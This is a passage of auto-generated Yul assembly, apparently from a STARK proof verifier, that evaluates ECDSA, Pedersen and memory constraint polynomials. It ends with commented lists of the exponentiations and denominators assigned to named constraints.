8192) - trace_generator^(255 * trace_length / 256). // val *= numerators[8]. val := mulmod(val, mload(0x41a0), PRIME) // Denominator: point^(trace_length / 32) - 1. // val *= denominator_invs[14]. val := mulmod(val, mload(0x3d20), PRIME) // res += val * coefficients[148]. res := addmod(res, mulmod(val, /*coefficients[148]*/ mload(0x1680), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/exponentiate_generator/copy_point/y: ecdsa__signature0__exponentiate_generator__bit_neg_0 * (column21_row55 - column21_row23). let val := mulmod( /*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_neg_0*/ mload(0x3880), addmod( /*column21_row55*/ mload(0x3040), sub(PRIME, /*column21_row23*/ mload(0x2f80)), PRIME), PRIME) // Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256). // val *= numerators[8]. val := mulmod(val, mload(0x41a0), PRIME) // Denominator: point^(trace_length / 32) - 1. // val *= denominator_invs[14]. val := mulmod(val, mload(0x3d20), PRIME) // res += val * coefficients[149]. res := addmod(res, mulmod(val, /*coefficients[149]*/ mload(0x16a0), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/exponentiate_key/booleanity_test: ecdsa__signature0__exponentiate_key__bit_0 * (ecdsa__signature0__exponentiate_key__bit_0 - 1). let val := mulmod( /*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x38a0), addmod( /*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x38a0), sub(PRIME, 1), PRIME), PRIME) // Numerator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256). // val *= numerators[7]. val := mulmod(val, mload(0x4180), PRIME) // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[150]. res := addmod(res, mulmod(val, /*coefficients[150]*/ mload(0x16c0), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/exponentiate_key/bit_extraction_end: column21_row3. let val := /*column21_row3*/ mload(0x2d60) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 4096) - trace_generator^(251 * trace_length / 256). // val *= denominator_invs[17]. val := mulmod(val, mload(0x3d80), PRIME) // res += val * coefficients[151]. res := addmod(res, mulmod(val, /*coefficients[151]*/ mload(0x16e0), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/exponentiate_key/zeros_tail: column21_row3. let val := /*column21_row3*/ mload(0x2d60) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256). // val *= denominator_invs[18]. val := mulmod(val, mload(0x3da0), PRIME) // res += val * coefficients[152]. res := addmod(res, mulmod(val, /*coefficients[152]*/ mload(0x1700), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/exponentiate_key/add_points/slope: ecdsa__signature0__exponentiate_key__bit_0 * (column21_row5 - column21_row14) - column21_row13 * (column21_row9 - column21_row6). let val := addmod( mulmod( /*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x38a0), addmod( /*column21_row5*/ mload(0x2da0), sub(PRIME, /*column21_row14*/ mload(0x2ec0)), PRIME), PRIME), sub( PRIME, mulmod( /*column21_row13*/ mload(0x2ea0), addmod(/*column21_row9*/ mload(0x2e20), sub(PRIME, /*column21_row6*/ mload(0x2dc0)), PRIME), PRIME)), PRIME) // Numerator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256). // val *= numerators[7]. val := mulmod(val, mload(0x4180), PRIME) // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[153]. res := addmod(res, mulmod(val, /*coefficients[153]*/ mload(0x1720), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/exponentiate_key/add_points/x: column21_row13 * column21_row13 - ecdsa__signature0__exponentiate_key__bit_0 * (column21_row9 + column21_row6 + column21_row25). let val := addmod( mulmod(/*column21_row13*/ mload(0x2ea0), /*column21_row13*/ mload(0x2ea0), PRIME), sub( PRIME, mulmod( /*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x38a0), addmod( addmod(/*column21_row9*/ mload(0x2e20), /*column21_row6*/ mload(0x2dc0), PRIME), /*column21_row25*/ mload(0x2fc0), PRIME), PRIME)), PRIME) // Numerator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256). // val *= numerators[7]. val := mulmod(val, mload(0x4180), PRIME) // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[154]. res := addmod(res, mulmod(val, /*coefficients[154]*/ mload(0x1740), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/exponentiate_key/add_points/y: ecdsa__signature0__exponentiate_key__bit_0 * (column21_row5 + column21_row21) - column21_row13 * (column21_row9 - column21_row25). let val := addmod( mulmod( /*intermediate_value/ecdsa/signature0/exponentiate_key/bit_0*/ mload(0x38a0), addmod(/*column21_row5*/ mload(0x2da0), /*column21_row21*/ mload(0x2f40), PRIME), PRIME), sub( PRIME, mulmod( /*column21_row13*/ mload(0x2ea0), addmod( /*column21_row9*/ mload(0x2e20), sub(PRIME, /*column21_row25*/ mload(0x2fc0)), PRIME), PRIME)), PRIME) // Numerator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256). // val *= numerators[7]. val := mulmod(val, mload(0x4180), PRIME) // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[155]. res := addmod(res, mulmod(val, /*coefficients[155]*/ mload(0x1760), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/exponentiate_key/add_points/x_diff_inv: column21_row11 * (column21_row9 - column21_row6) - 1. let val := addmod( mulmod( /*column21_row11*/ mload(0x2e60), addmod(/*column21_row9*/ mload(0x2e20), sub(PRIME, /*column21_row6*/ mload(0x2dc0)), PRIME), PRIME), sub(PRIME, 1), PRIME) // Numerator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256). // val *= numerators[7]. val := mulmod(val, mload(0x4180), PRIME) // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[156]. res := addmod(res, mulmod(val, /*coefficients[156]*/ mload(0x1780), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/exponentiate_key/copy_point/x: ecdsa__signature0__exponentiate_key__bit_neg_0 * (column21_row25 - column21_row9). let val := mulmod( /*intermediate_value/ecdsa/signature0/exponentiate_key/bit_neg_0*/ mload(0x38c0), addmod( /*column21_row25*/ mload(0x2fc0), sub(PRIME, /*column21_row9*/ mload(0x2e20)), PRIME), PRIME) // Numerator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256). // val *= numerators[7]. val := mulmod(val, mload(0x4180), PRIME) // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[157]. res := addmod(res, mulmod(val, /*coefficients[157]*/ mload(0x17a0), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/exponentiate_key/copy_point/y: ecdsa__signature0__exponentiate_key__bit_neg_0 * (column21_row21 - column21_row5). let val := mulmod( /*intermediate_value/ecdsa/signature0/exponentiate_key/bit_neg_0*/ mload(0x38c0), addmod( /*column21_row21*/ mload(0x2f40), sub(PRIME, /*column21_row5*/ mload(0x2da0)), PRIME), PRIME) // Numerator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256). // val *= numerators[7]. val := mulmod(val, mload(0x4180), PRIME) // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[158]. res := addmod(res, mulmod(val, /*coefficients[158]*/ mload(0x17c0), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/init_gen/x: column21_row7 - ecdsa/sig_config.shift_point.x. let val := addmod( /*column21_row7*/ mload(0x2de0), sub(PRIME, /*ecdsa/sig_config.shift_point.x*/ mload(0x2e0)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 8192) - 1. // val *= denominator_invs[19]. val := mulmod(val, mload(0x3dc0), PRIME) // res += val * coefficients[159]. res := addmod(res, mulmod(val, /*coefficients[159]*/ mload(0x17e0), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/init_gen/y: column21_row23 + ecdsa/sig_config.shift_point.y. let val := addmod( /*column21_row23*/ mload(0x2f80), /*ecdsa/sig_config.shift_point.y*/ mload(0x300), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 8192) - 1. // val *= denominator_invs[19]. val := mulmod(val, mload(0x3dc0), PRIME) // res += val * coefficients[160]. res := addmod(res, mulmod(val, /*coefficients[160]*/ mload(0x1800), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/init_key/x: column21_row9 - ecdsa/sig_config.shift_point.x. let val := addmod( /*column21_row9*/ mload(0x2e20), sub(PRIME, /*ecdsa/sig_config.shift_point.x*/ mload(0x2e0)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 4096) - 1. // val *= denominator_invs[20]. val := mulmod(val, mload(0x3de0), PRIME) // res += val * coefficients[161]. res := addmod(res, mulmod(val, /*coefficients[161]*/ mload(0x1820), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/init_key/y: column21_row5 - ecdsa/sig_config.shift_point.y. let val := addmod( /*column21_row5*/ mload(0x2da0), sub(PRIME, /*ecdsa/sig_config.shift_point.y*/ mload(0x300)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 4096) - 1. // val *= denominator_invs[20]. val := mulmod(val, mload(0x3de0), PRIME) // res += val * coefficients[162]. res := addmod(res, mulmod(val, /*coefficients[162]*/ mload(0x1840), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/add_results/slope: column21_row8183 - (column21_row4085 + column21_row8175 * (column21_row8167 - column21_row4089)). let val := addmod( /*column21_row8183*/ mload(0x31c0), sub( PRIME, addmod( /*column21_row4085*/ mload(0x30a0), mulmod( /*column21_row8175*/ mload(0x3180), addmod( /*column21_row8167*/ mload(0x3160), sub(PRIME, /*column21_row4089*/ mload(0x30c0)), PRIME), PRIME), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 8192) - 1. // val *= denominator_invs[19]. val := mulmod(val, mload(0x3dc0), PRIME) // res += val * coefficients[163]. res := addmod(res, mulmod(val, /*coefficients[163]*/ mload(0x1860), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/add_results/x: column21_row8175 * column21_row8175 - (column21_row8167 + column21_row4089 + column21_row4102). let val := addmod( mulmod(/*column21_row8175*/ mload(0x3180), /*column21_row8175*/ mload(0x3180), PRIME), sub( PRIME, addmod( addmod(/*column21_row8167*/ mload(0x3160), /*column21_row4089*/ mload(0x30c0), PRIME), /*column21_row4102*/ mload(0x3120), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 8192) - 1. // val *= denominator_invs[19]. val := mulmod(val, mload(0x3dc0), PRIME) // res += val * coefficients[164]. res := addmod(res, mulmod(val, /*coefficients[164]*/ mload(0x1880), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/add_results/y: column21_row8183 + column21_row4110 - column21_row8175 * (column21_row8167 - column21_row4102). let val := addmod( addmod(/*column21_row8183*/ mload(0x31c0), /*column21_row4110*/ mload(0x3140), PRIME), sub( PRIME, mulmod( /*column21_row8175*/ mload(0x3180), addmod( /*column21_row8167*/ mload(0x3160), sub(PRIME, /*column21_row4102*/ mload(0x3120)), PRIME), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 8192) - 1. // val *= denominator_invs[19]. val := mulmod(val, mload(0x3dc0), PRIME) // res += val * coefficients[165]. res := addmod(res, mulmod(val, /*coefficients[165]*/ mload(0x18a0), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/add_results/x_diff_inv: column22_row8160 * (column21_row8167 - column21_row4089) - 1. let val := addmod( mulmod( /*column22_row8160*/ mload(0x32e0), addmod( /*column21_row8167*/ mload(0x3160), sub(PRIME, /*column21_row4089*/ mload(0x30c0)), PRIME), PRIME), sub(PRIME, 1), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 8192) - 1. // val *= denominator_invs[19]. val := mulmod(val, mload(0x3dc0), PRIME) // res += val * coefficients[166]. res := addmod(res, mulmod(val, /*coefficients[166]*/ mload(0x18c0), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/extract_r/slope: column21_row8181 + ecdsa/sig_config.shift_point.y - column21_row4093 * (column21_row8185 - ecdsa/sig_config.shift_point.x). let val := addmod( addmod( /*column21_row8181*/ mload(0x31a0), /*ecdsa/sig_config.shift_point.y*/ mload(0x300), PRIME), sub( PRIME, mulmod( /*column21_row4093*/ mload(0x3100), addmod( /*column21_row8185*/ mload(0x31e0), sub(PRIME, /*ecdsa/sig_config.shift_point.x*/ mload(0x2e0)), PRIME), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 8192) - 1. // val *= denominator_invs[19]. val := mulmod(val, mload(0x3dc0), PRIME) // res += val * coefficients[167]. res := addmod(res, mulmod(val, /*coefficients[167]*/ mload(0x18e0), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/extract_r/x: column21_row4093 * column21_row4093 - (column21_row8185 + ecdsa/sig_config.shift_point.x + column21_row3). let val := addmod( mulmod(/*column21_row4093*/ mload(0x3100), /*column21_row4093*/ mload(0x3100), PRIME), sub( PRIME, addmod( addmod( /*column21_row8185*/ mload(0x31e0), /*ecdsa/sig_config.shift_point.x*/ mload(0x2e0), PRIME), /*column21_row3*/ mload(0x2d60), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 8192) - 1. // val *= denominator_invs[19]. val := mulmod(val, mload(0x3dc0), PRIME) // res += val * coefficients[168]. res := addmod(res, mulmod(val, /*coefficients[168]*/ mload(0x1900), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/extract_r/x_diff_inv: column21_row8189 * (column21_row8185 - ecdsa/sig_config.shift_point.x) - 1. let val := addmod( mulmod( /*column21_row8189*/ mload(0x3220), addmod( /*column21_row8185*/ mload(0x31e0), sub(PRIME, /*ecdsa/sig_config.shift_point.x*/ mload(0x2e0)), PRIME), PRIME), sub(PRIME, 1), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 8192) - 1. // val *= denominator_invs[19]. val := mulmod(val, mload(0x3dc0), PRIME) // res += val * coefficients[169]. res := addmod(res, mulmod(val, /*coefficients[169]*/ mload(0x1920), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/z_nonzero: column21_row31 * column21_row4091 - 1. let val := addmod( mulmod(/*column21_row31*/ mload(0x3000), /*column21_row4091*/ mload(0x30e0), PRIME), sub(PRIME, 1), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 8192) - 1. // val *= denominator_invs[19]. val := mulmod(val, mload(0x3dc0), PRIME) // res += val * coefficients[170]. res := addmod(res, mulmod(val, /*coefficients[170]*/ mload(0x1940), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/r_and_w_nonzero: column21_row3 * column21_row4081 - 1. let val := addmod( mulmod(/*column21_row3*/ mload(0x2d60), /*column21_row4081*/ mload(0x3080), PRIME), sub(PRIME, 1), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 4096) - 1. // val *= denominator_invs[20]. val := mulmod(val, mload(0x3de0), PRIME) // res += val * coefficients[171]. res := addmod(res, mulmod(val, /*coefficients[171]*/ mload(0x1960), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/q_on_curve/x_squared: column21_row8187 - column21_row6 * column21_row6. let val := addmod( /*column21_row8187*/ mload(0x3200), sub( PRIME, mulmod(/*column21_row6*/ mload(0x2dc0), /*column21_row6*/ mload(0x2dc0), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 8192) - 1. // val *= denominator_invs[19]. val := mulmod(val, mload(0x3dc0), PRIME) // res += val * coefficients[172]. res := addmod(res, mulmod(val, /*coefficients[172]*/ mload(0x1980), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/q_on_curve/on_curve: column21_row14 * column21_row14 - (column21_row6 * column21_row8187 + ecdsa/sig_config.alpha * column21_row6 + ecdsa/sig_config.beta). let val := addmod( mulmod(/*column21_row14*/ mload(0x2ec0), /*column21_row14*/ mload(0x2ec0), PRIME), sub( PRIME, addmod( addmod( mulmod(/*column21_row6*/ mload(0x2dc0), /*column21_row8187*/ mload(0x3200), PRIME), mulmod(/*ecdsa/sig_config.alpha*/ mload(0x2c0), /*column21_row6*/ mload(0x2dc0), PRIME), PRIME), /*ecdsa/sig_config.beta*/ mload(0x320), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 8192) - 1. // val *= denominator_invs[19]. val := mulmod(val, mload(0x3dc0), PRIME) // res += val * coefficients[173]. res := addmod(res, mulmod(val, /*coefficients[173]*/ mload(0x19a0), PRIME), PRIME) } { // Constraint expression for ecdsa/init_addr: column19_row22 - initial_ecdsa_addr. let val := addmod( /*column19_row22*/ mload(0x29c0), sub(PRIME, /*initial_ecdsa_addr*/ mload(0x340)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point - 1. // val *= denominator_invs[3]. val := mulmod(val, mload(0x3bc0), PRIME) // res += val * coefficients[174]. res := addmod(res, mulmod(val, /*coefficients[174]*/ mload(0x19c0), PRIME), PRIME) } { // Constraint expression for ecdsa/message_addr: column19_row4118 - (column19_row22 + 1). let val := addmod( /*column19_row4118*/ mload(0x2c20), sub(PRIME, addmod(/*column19_row22*/ mload(0x29c0), 1, PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 8192) - 1. // val *= denominator_invs[19]. val := mulmod(val, mload(0x3dc0), PRIME) // res += val * coefficients[175]. res := addmod(res, mulmod(val, /*coefficients[175]*/ mload(0x19e0), PRIME), PRIME) } { // Constraint expression for ecdsa/pubkey_addr: column19_row8214 - (column19_row4118 + 1). let val := addmod( /*column19_row8214*/ mload(0x2c60), sub(PRIME, addmod(/*column19_row4118*/ mload(0x2c20), 1, PRIME)), PRIME) // Numerator: point - trace_generator^(8192 * (trace_length / 8192 - 1)). // val *= numerators[9]. val := mulmod(val, mload(0x41c0), PRIME) // Denominator: point^(trace_length / 8192) - 1. // val *= denominator_invs[19]. val := mulmod(val, mload(0x3dc0), PRIME) // res += val * coefficients[176]. res := addmod(res, mulmod(val, /*coefficients[176]*/ mload(0x1a00), PRIME), PRIME) } { // Constraint expression for ecdsa/message_value0: column19_row4119 - column21_row31. let val := addmod( /*column19_row4119*/ mload(0x2c40), sub(PRIME, /*column21_row31*/ mload(0x3000)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 8192) - 1. // val *= denominator_invs[19]. val := mulmod(val, mload(0x3dc0), PRIME) // res += val * coefficients[177]. res := addmod(res, mulmod(val, /*coefficients[177]*/ mload(0x1a20), PRIME), PRIME) } { // Constraint expression for ecdsa/pubkey_value0: column19_row23 - column21_row6. let val := addmod( /*column19_row23*/ mload(0x29e0), sub(PRIME, /*column21_row6*/ mload(0x2dc0)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 8192) - 1. // val *= denominator_invs[19]. val := mulmod(val, mload(0x3dc0), PRIME) // res += val * coefficients[178]. res := addmod(res, mulmod(val, /*coefficients[178]*/ mload(0x1a40), PRIME), PRIME) } mstore(0, res) return(0, 0x20) } } } } // ---------- End of auto-generated code. ----------
Copy input from calldata to memory. Call modexp precompile. Prepare expmods for denominators and numerators. expmods[0] = point^trace_length. expmods[1] = point^(trace_length / 16). expmods[2] = point^(trace_length / 2). expmods[3] = point^(trace_length / 8). expmods[4] = point^(trace_length / 256). expmods[5] = point^(trace_length / 512). expmods[6] = point^(trace_length / 128). expmods[7] = point^(trace_length / 4096). expmods[8] = point^(trace_length / 32). expmods[9] = point^(trace_length / 8192). expmods[10] = trace_generator^(15 * trace_length / 16). expmods[11] = trace_generator^(16 * (trace_length / 16 - 1)). expmods[12] = trace_generator^(2 * (trace_length / 2 - 1)). expmods[13] = trace_generator^(trace_length - 1). expmods[14] = trace_generator^(255 * trace_length / 256). expmods[15] = trace_generator^(63 * trace_length / 64). expmods[16] = trace_generator^(trace_length / 2). expmods[17] = trace_generator^(128 * (trace_length / 128 - 1)). expmods[18] = trace_generator^(251 * trace_length / 256). expmods[19] = trace_generator^(8192 * (trace_length / 8192 - 1)). Prepare denominators for batch inverse. Denominator for constraints: 'cpu/decode/opcode_rc/bit', 'rc16/perm/step0', 'rc16/diff_is_bit', 'pedersen/hash0/ec_subset_sum/booleanity_test', 'pedersen/hash0/ec_subset_sum/add_points/slope', 'pedersen/hash0/ec_subset_sum/add_points/x', 'pedersen/hash0/ec_subset_sum/add_points/y', 'pedersen/hash0/ec_subset_sum/copy_point/x', 'pedersen/hash0/ec_subset_sum/copy_point/y', 'pedersen/hash1/ec_subset_sum/booleanity_test', 'pedersen/hash1/ec_subset_sum/add_points/slope', 'pedersen/hash1/ec_subset_sum/add_points/x', 'pedersen/hash1/ec_subset_sum/add_points/y', 'pedersen/hash1/ec_subset_sum/copy_point/x', 'pedersen/hash1/ec_subset_sum/copy_point/y', 'pedersen/hash2/ec_subset_sum/booleanity_test', 'pedersen/hash2/ec_subset_sum/add_points/slope', 'pedersen/hash2/ec_subset_sum/add_points/x', 'pedersen/hash2/ec_subset_sum/add_points/y', 'pedersen/hash2/ec_subset_sum/copy_point/x', 'pedersen/hash2/ec_subset_sum/copy_point/y', 'pedersen/hash3/ec_subset_sum/booleanity_test', 'pedersen/hash3/ec_subset_sum/add_points/slope', 'pedersen/hash3/ec_subset_sum/add_points/x', 'pedersen/hash3/ec_subset_sum/add_points/y', 'pedersen/hash3/ec_subset_sum/copy_point/x', 'pedersen/hash3/ec_subset_sum/copy_point/y'. denominators[0] = point^trace_length - 1. Denominator for constraints: 'cpu/decode/opcode_rc/zero'. denominators[1] = point^(trace_length / 16) - trace_generator^(15 * trace_length / 16). Denominator for constraints: 'cpu/decode/opcode_rc_input', 'cpu/decode/flag_op1_base_op0_bit', 'cpu/decode/flag_res_op1_bit', 'cpu/decode/flag_pc_update_regular_bit', 'cpu/decode/fp_update_regular_bit', 'cpu/operands/mem_dst_addr', 'cpu/operands/mem0_addr', 'cpu/operands/mem1_addr', 'cpu/operands/ops_mul', 'cpu/operands/res', 'cpu/update_registers/update_pc/tmp0', 'cpu/update_registers/update_pc/tmp1', 'cpu/update_registers/update_pc/pc_cond_negative', 'cpu/update_registers/update_pc/pc_cond_positive', 'cpu/update_registers/update_ap/ap_update', 'cpu/update_registers/update_fp/fp_update', 'cpu/opcodes/call/push_fp', 'cpu/opcodes/call/push_pc', 'cpu/opcodes/call/off0', 'cpu/opcodes/call/off1', 'cpu/opcodes/call/flags', 'cpu/opcodes/ret/off0', 'cpu/opcodes/ret/off2', 'cpu/opcodes/ret/flags', 'cpu/opcodes/assert_eq/assert_eq', 'ecdsa/signature0/doubling_key/slope', 'ecdsa/signature0/doubling_key/x', 'ecdsa/signature0/doubling_key/y', 'ecdsa/signature0/exponentiate_key/booleanity_test', 'ecdsa/signature0/exponentiate_key/add_points/slope', 'ecdsa/signature0/exponentiate_key/add_points/x', 'ecdsa/signature0/exponentiate_key/add_points/y', 'ecdsa/signature0/exponentiate_key/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_key/copy_point/x', 'ecdsa/signature0/exponentiate_key/copy_point/y'. denominators[2] = point^(trace_length / 16) - 1. Denominator for constraints: 'initial_ap', 'initial_fp', 'initial_pc', 'memory/multi_column_perm/perm/init0', 'memory/initial_addr', 'rc16/perm/init0', 'rc16/minimum', 'pedersen/init_addr', 'rc_builtin/init_addr', 'ecdsa/init_addr'. denominators[3] = point - 1. Denominator for constraints: 'final_ap', 'final_fp', 'final_pc'. denominators[4] = point - trace_generator^(16 * (trace_length / 16 - 1)). Denominator for constraints: 'memory/multi_column_perm/perm/step0', 'memory/diff_is_bit', 'memory/is_func'. denominators[5] = point^(trace_length / 2) - 1. Denominator for constraints: 'memory/multi_column_perm/perm/last'. denominators[6] = point - trace_generator^(2 * (trace_length / 2 - 1)). Denominator for constraints: 'public_memory_addr_zero', 'public_memory_value_zero'. denominators[7] = point^(trace_length / 8) - 1. Denominator for constraints: 'rc16/perm/last', 'rc16/maximum'. denominators[8] = point - trace_generator^(trace_length - 1). Denominator for constraints: 'pedersen/hash0/ec_subset_sum/bit_unpacking/last_one_is_zero', 'pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones0', 'pedersen/hash0/ec_subset_sum/bit_unpacking/cumulative_bit192', 'pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones192', 'pedersen/hash0/ec_subset_sum/bit_unpacking/cumulative_bit196', 'pedersen/hash0/ec_subset_sum/bit_unpacking/zeroes_between_ones196', 'pedersen/hash0/copy_point/x', 'pedersen/hash0/copy_point/y', 'pedersen/hash1/ec_subset_sum/bit_unpacking/last_one_is_zero', 'pedersen/hash1/ec_subset_sum/bit_unpacking/zeroes_between_ones0', 'pedersen/hash1/ec_subset_sum/bit_unpacking/cumulative_bit192', 'pedersen/hash1/ec_subset_sum/bit_unpacking/zeroes_between_ones192', 'pedersen/hash1/ec_subset_sum/bit_unpacking/cumulative_bit196', 'pedersen/hash1/ec_subset_sum/bit_unpacking/zeroes_between_ones196', 'pedersen/hash1/copy_point/x', 'pedersen/hash1/copy_point/y', 'pedersen/hash2/ec_subset_sum/bit_unpacking/last_one_is_zero', 'pedersen/hash2/ec_subset_sum/bit_unpacking/zeroes_between_ones0', 'pedersen/hash2/ec_subset_sum/bit_unpacking/cumulative_bit192', 'pedersen/hash2/ec_subset_sum/bit_unpacking/zeroes_between_ones192', 'pedersen/hash2/ec_subset_sum/bit_unpacking/cumulative_bit196', 'pedersen/hash2/ec_subset_sum/bit_unpacking/zeroes_between_ones196', 'pedersen/hash2/copy_point/x', 'pedersen/hash2/copy_point/y', 'pedersen/hash3/ec_subset_sum/bit_unpacking/last_one_is_zero', 'pedersen/hash3/ec_subset_sum/bit_unpacking/zeroes_between_ones0', 'pedersen/hash3/ec_subset_sum/bit_unpacking/cumulative_bit192', 'pedersen/hash3/ec_subset_sum/bit_unpacking/zeroes_between_ones192', 'pedersen/hash3/ec_subset_sum/bit_unpacking/cumulative_bit196', 'pedersen/hash3/ec_subset_sum/bit_unpacking/zeroes_between_ones196', 'pedersen/hash3/copy_point/x', 'pedersen/hash3/copy_point/y'. denominators[9] = point^(trace_length / 256) - 1. Denominator for constraints: 'pedersen/hash0/ec_subset_sum/bit_extraction_end', 'pedersen/hash1/ec_subset_sum/bit_extraction_end', 'pedersen/hash2/ec_subset_sum/bit_extraction_end', 'pedersen/hash3/ec_subset_sum/bit_extraction_end'. denominators[10] = point^(trace_length / 256) - trace_generator^(63 * trace_length / 64). Denominator for constraints: 'pedersen/hash0/ec_subset_sum/zeros_tail', 'pedersen/hash1/ec_subset_sum/zeros_tail', 'pedersen/hash2/ec_subset_sum/zeros_tail', 'pedersen/hash3/ec_subset_sum/zeros_tail'. denominators[11] = point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). Denominator for constraints: 'pedersen/hash0/init/x', 'pedersen/hash0/init/y', 'pedersen/hash1/init/x', 'pedersen/hash1/init/y', 'pedersen/hash2/init/x', 'pedersen/hash2/init/y', 'pedersen/hash3/init/x', 'pedersen/hash3/init/y', 'pedersen/input0_value0', 'pedersen/input0_value1', 'pedersen/input0_value2', 'pedersen/input0_value3', 'pedersen/input1_value0', 'pedersen/input1_value1', 'pedersen/input1_value2', 'pedersen/input1_value3', 'pedersen/output_value0', 'pedersen/output_value1', 'pedersen/output_value2', 'pedersen/output_value3'. denominators[12] = point^(trace_length / 512) - 1. Denominator for constraints: 'pedersen/input0_addr', 'pedersen/input1_addr', 'pedersen/output_addr', 'rc_builtin/value', 'rc_builtin/addr_step'. denominators[13] = point^(trace_length / 128) - 1. Denominator for constraints: 'ecdsa/signature0/exponentiate_generator/booleanity_test', 'ecdsa/signature0/exponentiate_generator/add_points/slope', 'ecdsa/signature0/exponentiate_generator/add_points/x', 'ecdsa/signature0/exponentiate_generator/add_points/y', 'ecdsa/signature0/exponentiate_generator/add_points/x_diff_inv', 'ecdsa/signature0/exponentiate_generator/copy_point/x', 'ecdsa/signature0/exponentiate_generator/copy_point/y'. denominators[14] = point^(trace_length / 32) - 1. Denominator for constraints: 'ecdsa/signature0/exponentiate_generator/bit_extraction_end'. denominators[15] = point^(trace_length / 8192) - trace_generator^(251 * trace_length / 256). Denominator for constraints: 'ecdsa/signature0/exponentiate_generator/zeros_tail'. denominators[16] = point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256). Denominator for 